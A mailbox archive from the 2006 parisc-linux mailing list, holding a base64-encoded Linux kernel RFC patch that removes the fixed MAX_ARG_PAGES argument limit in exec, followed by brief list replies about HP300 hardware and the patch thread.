c3RhY2tfdm0qUEFHRV9TSVpFKTsKIAlzdGFja19iYXNlID0gUEFHRV9BTElHTihzdGFja19iYXNl
KTsKLQlicHJtLT5wICs9IHN0YWNrX2Jhc2U7Ci0JbW0tPmFyZ19zdGFydCA9IGJwcm0tPnA7Ci0J
YXJnX3NpemUgPSBzdGFja190b3AgLSAoUEFHRV9NQVNLICYgKHVuc2lnbmVkIGxvbmcpIG1tLT5h
cmdfc3RhcnQpOwotI2VuZGlmCiAKLQlhcmdfc2l6ZSArPSBFWFRSQV9TVEFDS19WTV9QQUdFUyAq
IFBBR0VfU0laRTsKKwlzdGFja19zaGlmdCA9IChicHJtLT5wICYgUEFHRV9NQVNLKSAtIHN0YWNr
X2Jhc2U7CisJQlVHX09OKHN0YWNrX3NoaWZ0IDwgMCk7CisJYnBybS0+cCAtPSBzdGFja19zaGlm
dDsKKwltbS0+YXJnX3N0YXJ0ID0gYnBybS0+cDsKIAogCWlmIChicHJtLT5sb2FkZXIpCi0JCWJw
cm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0tPmV4ZWMgKz0gc3RhY2tfYmFzZTsKLQot
CW1wbnQgPSBrbWVtX2NhY2hlX2FsbG9jKHZtX2FyZWFfY2FjaGVwLCBTTEFCX0tFUk5FTCk7Ci0J
aWYgKCFtcG50KQotCQlyZXR1cm4gLUVOT01FTTsKLQotCW1lbXNldChtcG50LCAwLCBzaXplb2Yo
Km1wbnQpKTsKKwkJYnBybS0+bG9hZGVyIC09IHN0YWNrX3NoaWZ0OworCWJwcm0tPmV4ZWMgLT0g
c3RhY2tfc2hpZnQ7CiAKIAlkb3duX3dyaXRlKCZtbS0+bW1hcF9zZW0pOwogCXsKLQkJbXBudC0+
dm1fbW0gPSBtbTsKLSNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAotCQltcG50LT52bV9zdGFy
dCA9IHN0YWNrX2Jhc2U7Ci0JCW1wbnQtPnZtX2VuZCA9IHN0YWNrX2Jhc2UgKyBhcmdfc2l6ZTsK
LSNlbHNlCi0JCW1wbnQtPnZtX2VuZCA9IHN0YWNrX3RvcDsKLQkJbXBudC0+dm1fc3RhcnQgPSBt
cG50LT52bV9lbmQgLSBhcmdfc2l6ZTsKLSNlbmRpZgorCQlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3Qg
KnZtYSA9IGJwcm0tPnZtYTsKKwogCQkvKiBBZGp1c3Qgc3RhY2sgZXhlY3V0ZSBwZXJtaXNzaW9u
czsgZXhwbGljaXRseSBlbmFibGUKIAkJICogZm9yIEVYU1RBQ0tfRU5BQkxFX1gsIGRpc2FibGUg
Zm9yIEVYU1RBQ0tfRElTQUJMRV9YCiAJCSAqIGFuZCBsZWF2ZSBhbG9uZSAoYXJjaCBkZWZhdWx0
KSBvdGhlcndpc2UuICovCiAJCWlmICh1bmxpa2VseShleGVjdXRhYmxlX3N0YWNrID09IEVYU1RB
Q0tfRU5BQkxFX1gpKQotCQkJbXBudC0+dm1fZmxhZ3MgPSBWTV9TVEFDS19GTEFHUyB8ICBWTV9F
WEVDOworCQkJdm1hLT52bV9mbGFncyB8PSBWTV9FWEVDOwogCQllbHNlIGlmIChleGVjdXRhYmxl
X3N0YWNrID09IEVYU1RBQ0tfRElTQUJMRV9YKQotCQkJbXBudC0+dm1fZmxhZ3MgPSBWTV9TVEFD
S19GTEFHUyAmIH5WTV9FWEVDOwotCQllbHNlCi0JCQltcG50LT52bV9mbGFncyA9IFZNX1NUQUNL
X0ZMQUdTOwotCQltcG50LT52bV9mbGFncyB8PSBtbS0+ZGVmX2ZsYWdzOwotCQltcG50LT52bV9w
YWdlX3Byb3QgPSBwcm90ZWN0aW9uX21hcFttcG50LT52bV9mbGFncyAmIDB4N107Ci0JCWlmICgo
cmV0ID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwgbXBudCkpKSB7Ci0JCQl1cF93cml0ZSgmbW0tPm1t
YXBfc2VtKTsKLQkJCWttZW1fY2FjaGVfZnJlZSh2bV9hcmVhX2NhY2hlcCwgbXBudCk7Ci0JCQly
ZXR1cm4gcmV0OworCQkJdm1hLT52bV9mbGFncyAmPSB+Vk1fRVhFQzsKKwkJLy8gRklYTUU6IEFy
ZSB0aGUgbmV4dCB0d28gbGluZXMgc3VmZmljaWVudCwgb3IgZG8gSSBuZWVkIHRvCisJCS8vIGRv
IHNvbWUgYWRkaXRpb25hbCBtYWdpYz8KKwkJdm1hLT52bV9mbGFncyB8PSBtbS0+ZGVmX2ZsYWdz
OworCQl2bWEtPnZtX3BhZ2VfcHJvdCA9IHByb3RlY3Rpb25fbWFwW3ZtYS0+dm1fZmxhZ3MgJiAw
eDddOworCisJCS8qIE1vdmUgc3RhY2sgcGFnZXMgZG93biBpbiBtZW1vcnkuICovCisJCWlmIChz
dGFja19zaGlmdCkgeworCQkJLy8gRklYTUU6IFZlcmlmeSB0aGUgc2hpZnQgaXMgT0suCisKKwkJ
CS8qIFRoaXMgc2hvdWxkIGJlIHNhZmUgZXZlbiB3aXRoIG92ZXJsYXAgYmVjYXVzZSB3ZQorCQkJ
ICogYXJlIHNoaWZ0aW5nIGRvd24uICovCisJCQlyZXQgPSBtb3ZlX3ZtYSh2bWEsIHZtYS0+dm1f
c3RhcnQsCisJCQkJCXZtYS0+dm1fZW5kIC0gdm1hLT52bV9zdGFydCwKKwkJCQkJdm1hLT52bV9l
bmQgLSB2bWEtPnZtX3N0YXJ0LAorCQkJCQl2bWEtPnZtX3N0YXJ0IC0gc3RhY2tfc2hpZnQpOwor
CQkJaWYgKHJldCAmIH5QQUdFX01BU0spIHsKKwkJCQl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsK
KwkJCQlyZXR1cm4gcmV0OworCQkJfQogCQl9Ci0JCW1tLT5zdGFja192bSA9IG1tLT50b3RhbF92
bSA9IHZtYV9wYWdlcyhtcG50KTsKLQl9CiAKLQlmb3IgKGkgPSAwIDsgaSA8IE1BWF9BUkdfUEFH
RVMgOyBpKyspIHsKLQkJc3RydWN0IHBhZ2UgKnBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQlpZiAo
cGFnZSkgewotCQkJYnBybS0+cGFnZVtpXSA9IE5VTEw7Ci0JCQlpbnN0YWxsX2FyZ19wYWdlKG1w
bnQsIHBhZ2UsIHN0YWNrX2Jhc2UpOworCQkvLyBFeHBhbmQgdGhlIHN0YWNrLgorCQl2bWEgPSBm
aW5kX3ZtYShtbSwgYnBybS0+cCk7CisJCUJVR19PTighdm1hIHx8IGJwcm0tPnAgPCB2bWEtPnZt
X3N0YXJ0KTsKKwkJaWYgKGV4cGFuZF9zdGFjayh2bWEsIHN0YWNrX2Jhc2UgLQorCQkJCQlFWFRS
QV9TVEFDS19WTV9QQUdFUyAqIFBBR0VfU0laRSkpIHsKKwkJCXVwX3dyaXRlKCZtbS0+bW1hcF9z
ZW0pOworCQkJcmV0dXJuIC1FRkFVTFQ7CiAJCX0KLQkJc3RhY2tfYmFzZSArPSBQQUdFX1NJWkU7
CiAJfQogCXVwX3dyaXRlKCZtbS0+bW1hcF9zZW0pOwogCQpAQCAtNDU0LDIzICs0NDQsNiBAQCAj
ZW5kaWYKIAogRVhQT1JUX1NZTUJPTChzZXR1cF9hcmdfcGFnZXMpOwogCi0jZGVmaW5lIGZyZWVf
YXJnX3BhZ2VzKGJwcm0pIGRvIHsgfSB3aGlsZSAoMCkKLQotI2Vsc2UKLQotc3RhdGljIGlubGlu
ZSB2b2lkIGZyZWVfYXJnX3BhZ2VzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pCi17Ci0JaW50
IGk7Ci0KLQlmb3IgKGkgPSAwOyBpIDwgTUFYX0FSR19QQUdFUzsgaSsrKSB7Ci0JCWlmIChicHJt
LT5wYWdlW2ldKQotCQkJX19mcmVlX3BhZ2UoYnBybS0+cGFnZVtpXSk7Ci0JCWJwcm0tPnBhZ2Vb
aV0gPSBOVUxMOwotCX0KLX0KLQotI2VuZGlmIC8qIENPTkZJR19NTVUgKi8KLQogc3RydWN0IGZp
bGUgKm9wZW5fZXhlYyhjb25zdCBjaGFyICpuYW1lKQogewogCXN0cnVjdCBuYW1laWRhdGEgbmQ7
CkBAIC05ODYsOCArOTU5LDEwIEBAIHZvaWQgY29tcHV0ZV9jcmVkcyhzdHJ1Y3QgbGludXhfYmlu
cHJtICoKIAogRVhQT1JUX1NZTUJPTChjb21wdXRlX2NyZWRzKTsKIAotdm9pZCByZW1vdmVfYXJn
X3plcm8oc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKK2ludCByZW1vdmVfYXJnX3plcm8oc3Ry
dWN0IGxpbnV4X2JpbnBybSAqYnBybSkKIHsKKwlpbnQgcmV0ID0gMDsKKwogCWlmIChicHJtLT5h
cmdjKSB7CiAJCXVuc2lnbmVkIGxvbmcgb2Zmc2V0OwogCQljaGFyICoga2FkZHI7CkBAIC0xMDAx
LDEzICs5NzYsMjMgQEAgdm9pZCByZW1vdmVfYXJnX3plcm8oc3RydWN0IGxpbnV4X2JpbnBybQog
CQkJCWNvbnRpbnVlOwogCQkJb2Zmc2V0ID0gMDsKIAkJCWt1bm1hcF9hdG9taWMoa2FkZHIsIEtN
X1VTRVIwKTsKKwkJCXB1dF9wYWdlKHBhZ2UpOwogaW5zaWRlOgotCQkJcGFnZSA9IGJwcm0tPnBh
Z2VbYnBybS0+cC9QQUdFX1NJWkVdOworCQkJcmV0ID0gZ2V0X3VzZXJfcGFnZXMoY3VycmVudCwg
YnBybS0+bW0sIGJwcm0tPnAsCisJCQkJCSAgICAgMSwgMCwgMSwgJnBhZ2UsIE5VTEwpOworCQkJ
aWYgKHJldCA8PSAwKSB7CisJCQkJcmV0ID0gLUVGQVVMVDsKKwkJCQlnb3RvIG91dDsKKwkJCX0K
IAkJCWthZGRyID0ga21hcF9hdG9taWMocGFnZSwgS01fVVNFUjApOwogCQl9CiAJCWt1bm1hcF9h
dG9taWMoa2FkZHIsIEtNX1VTRVIwKTsKIAkJYnBybS0+YXJnYy0tOworCQlyZXQgPSAwOwogCX0K
Kworb3V0OgorCXJldHVybiByZXQ7CiB9CiAKIEVYUE9SVF9TWU1CT0wocmVtb3ZlX2FyZ196ZXJv
KTsKQEAgLTEwMzQsNyArMTAxOSw3IEBAICNpZmRlZiBfX2FscGhhX18KIAkJZnB1dChicHJtLT5m
aWxlKTsKIAkJYnBybS0+ZmlsZSA9IE5VTEw7CiAKLQkgICAgICAgIGxvYWRlciA9IFBBR0VfU0la
RSpNQVhfQVJHX1BBR0VTLXNpemVvZih2b2lkICopOworCSAgICAgICAgbG9hZGVyID0gYnBybS0+
dm1hLT52bV9lbmQgLSBzaXplb2Yodm9pZCAqKTsKIAogCQlmaWxlID0gb3Blbl9leGVjKCIvc2Jp
bi9sb2FkZXIiKTsKIAkJcmV0dmFsID0gUFRSX0VSUihmaWxlKTsKQEAgLTExMjcsNyArMTExMiw2
IEBAIGludCBkb19leGVjdmUoY2hhciAqIGZpbGVuYW1lLAogCXN0cnVjdCBsaW51eF9iaW5wcm0g
KmJwcm07CiAJc3RydWN0IGZpbGUgKmZpbGU7CiAJaW50IHJldHZhbDsKLQlpbnQgaTsKIAogCXJl
dHZhbCA9IC1FTk9NRU07CiAJYnBybSA9IGt6YWxsb2Moc2l6ZW9mKCpicHJtKSwgR0ZQX0tFUk5F
TCk7CkBAIC0xMTQxLDI1ICsxMTI1LDE5IEBAIGludCBkb19leGVjdmUoY2hhciAqIGZpbGVuYW1l
LAogCiAJc2NoZWRfZXhlYygpOwogCi0JYnBybS0+cCA9IFBBR0VfU0laRSpNQVhfQVJHX1BBR0VT
LXNpemVvZih2b2lkICopOwotCiAJYnBybS0+ZmlsZSA9IGZpbGU7CiAJYnBybS0+ZmlsZW5hbWUg
PSBmaWxlbmFtZTsKIAlicHJtLT5pbnRlcnAgPSBmaWxlbmFtZTsKLQlicHJtLT5tbSA9IG1tX2Fs
bG9jKCk7Ci0JcmV0dmFsID0gLUVOT01FTTsKLQlpZiAoIWJwcm0tPm1tKQotCQlnb3RvIG91dF9m
aWxlOwogCi0JcmV0dmFsID0gaW5pdF9uZXdfY29udGV4dChjdXJyZW50LCBicHJtLT5tbSk7Ci0J
aWYgKHJldHZhbCA8IDApCi0JCWdvdG8gb3V0X21tOworCXJldHZhbCA9IGJwcm1fbW1faW5pdChi
cHJtKTsKKwlpZiAocmV0dmFsKQorCQlnb3RvIG91dF9maWxlOwogCi0JYnBybS0+YXJnYyA9IGNv
dW50KGFyZ3YsIGJwcm0tPnAgLyBzaXplb2Yodm9pZCAqKSk7CisJYnBybS0+YXJnYyA9IGNvdW50
KGFyZ3YsIE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2YWwgPSBicHJtLT5hcmdjKSA8IDAp
CiAJCWdvdG8gb3V0X21tOwogCi0JYnBybS0+ZW52YyA9IGNvdW50KGVudnAsIGJwcm0tPnAgLyBz
aXplb2Yodm9pZCAqKSk7CisJYnBybS0+ZW52YyA9IGNvdW50KGVudnAsIE1BWF9BUkdfU1RSSU5H
Uyk7CiAJaWYgKChyZXR2YWwgPSBicHJtLT5lbnZjKSA8IDApCiAJCWdvdG8gb3V0X21tOwogCkBA
IC0xMTg2LDggKzExNjQsNiBAQCBpbnQgZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAogCXJl
dHZhbCA9IHNlYXJjaF9iaW5hcnlfaGFuZGxlcihicHJtLHJlZ3MpOwogCWlmIChyZXR2YWwgPj0g
MCkgewotCQlmcmVlX2FyZ19wYWdlcyhicHJtKTsKLQogCQkvKiBleGVjdmUgc3VjY2VzcyAqLwog
CQlzZWN1cml0eV9icHJtX2ZyZWUoYnBybSk7CiAJCWFjY3RfdXBkYXRlX2ludGVncmFscyhjdXJy
ZW50KTsKQEAgLTExOTYsMTkgKzExNzIsMTIgQEAgaW50IGRvX2V4ZWN2ZShjaGFyICogZmlsZW5h
bWUsCiAJfQogCiBvdXQ6Ci0JLyogU29tZXRoaW5nIHdlbnQgd3JvbmcsIHJldHVybiB0aGUgaW5v
ZGUgYW5kIGZyZWUgdGhlIGFyZ3VtZW50IHBhZ2VzKi8KLQlmb3IgKGkgPSAwIDsgaSA8IE1BWF9B
UkdfUEFHRVMgOyBpKyspIHsKLQkJc3RydWN0IHBhZ2UgKiBwYWdlID0gYnBybS0+cGFnZVtpXTsK
LQkJaWYgKHBhZ2UpCi0JCQlfX2ZyZWVfcGFnZShwYWdlKTsKLQl9Ci0KIAlpZiAoYnBybS0+c2Vj
dXJpdHkpCiAJCXNlY3VyaXR5X2Jwcm1fZnJlZShicHJtKTsKIAogb3V0X21tOgogCWlmIChicHJt
LT5tbSkKLQkJbW1kcm9wKGJwcm0tPm1tKTsKKwkJbW1wdXQgKGJwcm0tPm1tKTsKIAogb3V0X2Zp
bGU6CiAJaWYgKGJwcm0tPmZpbGUpIHsKZGlmZiAtLWdpdCBhL2luY2x1ZGUvbGludXgvYmluZm10
cy5oIGIvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgKaW5kZXggYzFlODJjNS4uM2UxMTU5MSAxMDA2
NDQKLS0tIGEvaW5jbHVkZS9saW51eC9iaW5mbXRzLmgKKysrIGIvaW5jbHVkZS9saW51eC9iaW5m
bXRzLmgKQEAgLTUsMTIgKzUsOSBAQCAjaW5jbHVkZSA8bGludXgvY2FwYWJpbGl0eS5oPgogCiBz
dHJ1Y3QgcHRfcmVnczsKIAotLyoKLSAqIE1BWF9BUkdfUEFHRVMgZGVmaW5lcyB0aGUgbnVtYmVy
IG9mIHBhZ2VzIGFsbG9jYXRlZCBmb3IgYXJndW1lbnRzCi0gKiBhbmQgZW52ZWxvcGUgZm9yIHRo
ZSBuZXcgcHJvZ3JhbS4gMzIgc2hvdWxkIHN1ZmZpY2UsIHRoaXMgZ2l2ZXMKLSAqIGEgbWF4aW11
bSBlbnYrYXJnIG9mIDEyOGtCIHcvNEtCIHBhZ2VzIQotICovCi0jZGVmaW5lIE1BWF9BUkdfUEFH
RVMgMzIKKy8qIEZJWE1FOiBGaW5kIHJlYWwgbGltaXRzLCBvciBub25lLiAqLworI2RlZmluZSBN
QVhfQVJHX1NUUkxFTiAoUEFHRV9TSVpFICogMzIpCisjZGVmaW5lIE1BWF9BUkdfU1RSSU5HUyAw
eDdGRkZGRkZGCiAKIC8qIHNpemVvZihsaW51eF9iaW5wcm0tPmJ1ZikgKi8KICNkZWZpbmUgQklO
UFJNX0JVRl9TSVpFIDEyOApAQCAtMjIsNyArMTksNyBAQCAjaWZkZWYgX19LRVJORUxfXwogICov
CiBzdHJ1Y3QgbGludXhfYmlucHJtewogCWNoYXIgYnVmW0JJTlBSTV9CVUZfU0laRV07Ci0Jc3Ry
dWN0IHBhZ2UgKnBhZ2VbTUFYX0FSR19QQUdFU107CisJc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2
bWE7CiAJc3RydWN0IG1tX3N0cnVjdCAqbW07CiAJdW5zaWduZWQgbG9uZyBwOyAvKiBjdXJyZW50
IHRvcCBvZiBtZW0gKi8KIAlpbnQgc2hfYmFuZzsKQEAgLTY1LDcgKzYyLDcgQEAgZXh0ZXJuIGlu
dCByZWdpc3Rlcl9iaW5mbXQoc3RydWN0IGxpbnV4XwogZXh0ZXJuIGludCB1bnJlZ2lzdGVyX2Jp
bmZtdChzdHJ1Y3QgbGludXhfYmluZm10ICopOwogCiBleHRlcm4gaW50IHByZXBhcmVfYmlucHJt
KHN0cnVjdCBsaW51eF9iaW5wcm0gKik7Ci1leHRlcm4gdm9pZCByZW1vdmVfYXJnX3plcm8oc3Ry
dWN0IGxpbnV4X2JpbnBybSAqKTsKK2V4dGVybiBpbnQgX19tdXN0X2NoZWNrIHJlbW92ZV9hcmdf
emVybyhzdHJ1Y3QgbGludXhfYmlucHJtICopOwogZXh0ZXJuIGludCBzZWFyY2hfYmluYXJ5X2hh
bmRsZXIoc3RydWN0IGxpbnV4X2JpbnBybSAqLHN0cnVjdCBwdF9yZWdzICopOwogZXh0ZXJuIGlu
dCBmbHVzaF9vbGRfZXhlYyhzdHJ1Y3QgbGludXhfYmlucHJtICogYnBybSk7CiAKQEAgLTgyLDYg
Kzc5LDcgQEAgI2RlZmluZSBFWFNUQUNLX0VOQUJMRV9YICAyCS8qIEVuYWJsZSBleAogZXh0ZXJu
IGludCBzZXR1cF9hcmdfcGFnZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqIGJwcm0sCiAJCQkgICB1
bnNpZ25lZCBsb25nIHN0YWNrX3RvcCwKIAkJCSAgIGludCBleGVjdXRhYmxlX3N0YWNrKTsKK2V4
dGVybiBpbnQgYnBybV9tbV9pbml0KHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pOwogZXh0ZXJu
IGludCBjb3B5X3N0cmluZ3Nfa2VybmVsKGludCBhcmdjLGNoYXIgKiogYXJndixzdHJ1Y3QgbGlu
dXhfYmlucHJtICpicHJtKTsKIGV4dGVybiB2b2lkIGNvbXB1dGVfY3JlZHMoc3RydWN0IGxpbnV4
X2JpbnBybSAqYmlucHJtKTsKIGV4dGVybiBpbnQgZG9fY29yZWR1bXAobG9uZyBzaWduciwgaW50
IGV4aXRfY29kZSwgc3RydWN0IHB0X3JlZ3MgKiByZWdzKTsKZGlmZiAtLWdpdCBhL2luY2x1ZGUv
bGludXgvbW0uaCBiL2luY2x1ZGUvbGludXgvbW0uaAppbmRleCAyNjE0NjYyLi40ZjMwZTI4IDEw
MDY0NAotLS0gYS9pbmNsdWRlL2xpbnV4L21tLmgKKysrIGIvaW5jbHVkZS9saW51eC9tbS5oCkBA
IC03MzgsNyArNzM4LDYgQEAgI2VuZGlmCiAKIGV4dGVybiBpbnQgbWFrZV9wYWdlc19wcmVzZW50
KHVuc2lnbmVkIGxvbmcgYWRkciwgdW5zaWduZWQgbG9uZyBlbmQpOwogZXh0ZXJuIGludCBhY2Nl
c3NfcHJvY2Vzc192bShzdHJ1Y3QgdGFza19zdHJ1Y3QgKnRzaywgdW5zaWduZWQgbG9uZyBhZGRy
LCB2b2lkICpidWYsIGludCBsZW4sIGludCB3cml0ZSk7Ci12b2lkIGluc3RhbGxfYXJnX3BhZ2Uo
c3RydWN0IHZtX2FyZWFfc3RydWN0ICosIHN0cnVjdCBwYWdlICosIHVuc2lnbmVkIGxvbmcpOwog
CiBpbnQgZ2V0X3VzZXJfcGFnZXMoc3RydWN0IHRhc2tfc3RydWN0ICp0c2ssIHN0cnVjdCBtbV9z
dHJ1Y3QgKm1tLCB1bnNpZ25lZCBsb25nIHN0YXJ0LAogCQlpbnQgbGVuLCBpbnQgd3JpdGUsIGlu
dCBmb3JjZSwgc3RydWN0IHBhZ2UgKipwYWdlcywgc3RydWN0IHZtX2FyZWFfc3RydWN0ICoqdm1h
cyk7CkBAIC03NTQsNiArNzUzLDkgQEAgaW50IEZBU1RDQUxMKHNldF9wYWdlX2RpcnR5KHN0cnVj
dCBwYWdlIAogaW50IHNldF9wYWdlX2RpcnR5X2xvY2soc3RydWN0IHBhZ2UgKnBhZ2UpOwogaW50
IGNsZWFyX3BhZ2VfZGlydHlfZm9yX2lvKHN0cnVjdCBwYWdlICpwYWdlKTsKIAorZXh0ZXJuIHVu
c2lnbmVkIGxvbmcgbW92ZV92bWEoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCisJCXVuc2ln
bmVkIGxvbmcgb2xkX2FkZHIsIHVuc2lnbmVkIGxvbmcgb2xkX2xlbiwKKwkJdW5zaWduZWQgbG9u
ZyBuZXdfbGVuLCB1bnNpZ25lZCBsb25nIG5ld19hZGRyKTsKIGV4dGVybiB1bnNpZ25lZCBsb25n
IGRvX21yZW1hcCh1bnNpZ25lZCBsb25nIGFkZHIsCiAJCQkgICAgICAgdW5zaWduZWQgbG9uZyBv
bGRfbGVuLCB1bnNpZ25lZCBsb25nIG5ld19sZW4sCiAJCQkgICAgICAgdW5zaWduZWQgbG9uZyBm
bGFncywgdW5zaWduZWQgbG9uZyBuZXdfYWRkcik7CmRpZmYgLS1naXQgYS9rZXJuZWwvYXVkaXRz
Yy5jIGIva2VybmVsL2F1ZGl0c2MuYwppbmRleCA0MmYyZjExLi5kMjVjNzNlIDEwMDY0NAotLS0g
YS9rZXJuZWwvYXVkaXRzYy5jCisrKyBiL2tlcm5lbC9hdWRpdHNjLmMKQEAgLTE3NDgsNiArMTc0
OCwxMCBAQCBpbnQgX19hdWRpdF9pcGNfc2V0X3Blcm0odW5zaWduZWQgbG9uZyBxCiAKIGludCBh
dWRpdF9icHJtKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pCiB7CisJLyogRklYTUU6IERvbid0
IGRvIGFueXRoaW5nIGZvciBub3cgdW50aWwgSSBmaWd1cmUgb3V0IGhvdyB0byBoYW5kbGUKKwkg
KiB0aGlzLiAgV2l0aCB0aGUgbGF0ZXN0IGNoYW5nZXMsIGttYWxsb2MgY291bGQgd2VsbCBmYWls
IHVuZGVyIGdvb2QKKwkgKiBzY2VuYXJpb3MuICovCisjaWYgMAogCXN0cnVjdCBhdWRpdF9hdXhf
ZGF0YV9leGVjdmUgKmF4OwogCXN0cnVjdCBhdWRpdF9jb250ZXh0ICpjb250ZXh0ID0gY3VycmVu
dC0+YXVkaXRfY29udGV4dDsKIAl1bnNpZ25lZCBsb25nIHAsIG5leHQ7CkBAIC0xNzc1LDYgKzE3
NzksNyBAQCBpbnQgYXVkaXRfYnBybShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtCiAJYXgtPmQu
dHlwZSA9IEFVRElUX0VYRUNWRTsKIAlheC0+ZC5uZXh0ID0gY29udGV4dC0+YXV4OwogCWNvbnRl
eHQtPmF1eCA9ICh2b2lkICopYXg7CisjZW5kaWYKIAlyZXR1cm4gMDsKIH0KIApkaWZmIC0tZ2l0
IGEvbW0vbXJlbWFwLmMgYi9tbS9tcmVtYXAuYwppbmRleCA5Yzc2OWZhLi45NTdiNmFmIDEwMDY0
NAotLS0gYS9tbS9tcmVtYXAuYworKysgYi9tbS9tcmVtYXAuYwpAQCAtMTU1LDcgKzE1NSw3IEBA
IHN0YXRpYyB1bnNpZ25lZCBsb25nIG1vdmVfcGFnZV90YWJsZXMoc3QKIAlyZXR1cm4gbGVuICsg
b2xkX2FkZHIgLSBvbGRfZW5kOwkvKiBob3cgbXVjaCBkb25lICovCiB9CiAKLXN0YXRpYyB1bnNp
Z25lZCBsb25nIG1vdmVfdm1hKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAordW5zaWduZWQg
bG9uZyBtb3ZlX3ZtYShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKIAkJdW5zaWduZWQgbG9u
ZyBvbGRfYWRkciwgdW5zaWduZWQgbG9uZyBvbGRfbGVuLAogCQl1bnNpZ25lZCBsb25nIG5ld19s
ZW4sIHVuc2lnbmVkIGxvbmcgbmV3X2FkZHIpCiB7Cg==
------=_Part_8824_9060361.1160525109224
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_8824_9060361.1160525109224--



From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kars de Jong <jongk@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH 562] m68k/HP300: Enable HIL	configuration
 options
Date: Wed, 11 Oct 2006 09:30:40 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <1160551840.5670.25.camel@laptop-lcs.localdomain>
References: <200610092022.k99KMbtC031450@anakin.of.borg>
 <200610102125.01767.deller@gmx.de>
 <Pine.LNX.4.62.0610102222280.3402@pademelon.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624194 21388 80.91.229.3 (22 Nov 2014 02:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 Peter De Schrijver <p2@mind.be>,
 parisc-linux@lists.parisc-linux.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <jongk@linux-m68k.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 07:31:08 -0000
Original-Received: from smtp14.wxs.nl (EHLO smtp14.wxs.nl) [195.121.247.5]
  by mx0.gmx.net (mx018) with SMTP; 11 Oct 2006 09:31:08 +0200
Original-Received: from mail.locamation.nl (mail.locamation.nl [195.73.233.154])
 by smtp14.wxs.nl (iPlanet Messaging Server 5.2 Patch 2 (built Jul 14 2004))
 with ESMTP id <0J6Y00ATYNJCPG@smtp14.wxs.nl> for deller@gmx.de; Wed,
 11 Oct 2006 09:30:48 +0200 (CEST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.locamation.nl (Postfix) with ESMTP id 6EAAF70D6F; Wed,
 11 Oct 2006 09:30:48 +0200 (CEST)
Original-Received: from mail.locamation.nl ([127.0.0.1])	by localhost (mail [127.0.0.1])
 (amavisd-new, port 10024) with ESMTP	id 25168-07; Wed,
 11 Oct 2006 09:30:47 +0200 (CEST)
Original-Received: from [100.2.255.34] (unknown [100.2.255.34])
	by mail.locamation.nl (Postfix) with ESMTP id DD5E570D6A; Wed,
 11 Oct 2006 09:30:46 +0200 (CEST)
In-reply-to: <Pine.LNX.4.62.0610102222280.3402@pademelon.sonytel.be>
X-Mailer: Evolution 2.6.3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at locamation.nl
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2vlECD4YbHIyX63NNjQ0sQUqJihyapBW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24024

On di, 2006-10-10 at 22:23 +0200, Geert Uytterhoeven wrote:
> On Tue, 10 Oct 2006, Helge Deller wrote:
> > Just out of couriosity:
> > Does anyone of you still have a HP300 to test ?
> 
> I don't have one, but IIRC, Kars has a few machines.

I only have one: a HP9000/425t with 64 MB of memory (about the maximum
possible, I think).

Most of it works, SCSI support is still work in progress.

I didn't spend much time on it lately, unfortunately my cross compiler
toolchain broke after some upgrades and I still didn't get around to
fixing it.

Kars.




From - Thu Nov 08 21:35:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjan van de Ven <arjan@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Removing MAX_ARG_PAGES (request for
	comments/assistance)
Date: Wed, 11 Oct 2006 10:00:21 +0200
Organization: Intel International BV
Lines: 16
Approved: news@gmane.org
Message-ID: <1160553621.3000.355.camel__172.699036966328$1416624195$gmane$org@laptopd505.fenrus.org>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
